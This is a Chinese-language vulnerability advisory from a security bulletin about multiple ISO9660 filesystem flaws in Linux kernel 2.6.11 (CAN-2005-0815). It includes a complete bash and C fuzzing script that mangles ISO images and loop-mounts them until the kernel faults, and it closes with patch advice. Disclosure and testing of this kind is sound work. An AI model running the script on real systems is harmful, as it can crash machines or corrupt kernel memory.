首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第57期->最新漏洞
期刊号: 类型: 关键词:
Linux ISO9660文件处理多个漏洞

日期:2005-04-04

发布日期:2005-03-18
更新日期:2005-03-25

受影响系统:
Linux kernel 2.6.11
不受影响系统:
Linux kernel 2.6.12
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 12837
CVE(CAN) ID: CAN-2005-0815

Linux是一款使用非常广泛的开放源代码操作系统。

在Linux的2.6.11及之前版本的ISO9660文件系统处理程序中存在几个漏洞,包括DoS到可利用的内存破坏等。在加载特制的文件系统或检查目录时可能会出现这些漏洞。漏洞影响并不严重,但远程攻击者可能以两种明显的方式加以利用:

1) 攻击者可利用可移动媒体文件系统中的漏洞自动破坏系统。在系统检查新的CD-ROM时,即使已经十分小心(也就是禁用了autorun,没有执行任何文件),也会遭到攻击。

2) 上述问题还可以用于干扰取证分析。被破坏机器的磁盘镜像可能会影响取证检查者的系统,更改结果,或导致机器无法使用。

<*来源:Michal Zalewski (lcamtuf@dione.ids.pl)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111110067304783&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/bash

cd /tmp || exit 1

echo '[*] Compiling mangler...'

cat >mangle.c <<_EOF_
char buf[10240];
main() {
  int i,x;
  srand(time(0) ^ getpid());
  while ( (i = read(0,buf,sizeof(buf))) > 0) {
    x = rand() % (i/20);
    while (x--) buf[rand() % i] = rand();
    write(1,buf,i);
  }
}
_EOF_

gcc -O3 mangle.c -o mangle || exit 1
rm -f mangle.c

echo '[*] Preparing ISO master (feel free to alter this code)...'

mkdir cd_dir || exit 1
cd cd_dir

CNT=0
while [ "$CNT" -lt "200" ]; do
  mkdir A; cd A
  CNT=$[CNT+1]
done

cd /tmp/cd_dir

A=`perl -e '{print "A"x255}' 2>/dev/null`
CNT=0
while [ "$CNT" -lt "3" ]; do
  mkdir "$A"; cd "$A"
  CNT=$[CNT+1]
done

cd /tmp

echo '[*] Creating image (alter filesystem or parameters as needed)...'

mkisofs -U -R -J -o cd.iso cd_dir 2>/dev/null || exit 1
rm -rf cd_dir

echo '[*] STRESS TEST PHASE...'

while :; do
  DIR="/tmp/cdtest-$$-$RANDOM"
  mkdir "$DIR"
  dmesg -c 2>/dev/null
  cat cd.iso | ./mangle >cd_mod.iso
  mount -t iso9660 -o loop,ro /tmp/cd_mod.iso "$DIR" 2>/dev/null
  # ls -lAR "$DIR" - Uncomment if you like when it HURTS...
  umount "$DIR" 2>/dev/null
  rm -rf "$DIR" 2>/dev/null
  FAULT=`dmesg | grep -Ei 'oops|unable to handle'`
  test "$FAULT" = "" || break
done

dmesg | tail -30

echo '[+] Something found (/tmp/cd-mod.iso)...'

rm -f cd.iso mangle
exit 0

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/

版权所有,未经许可,不得转载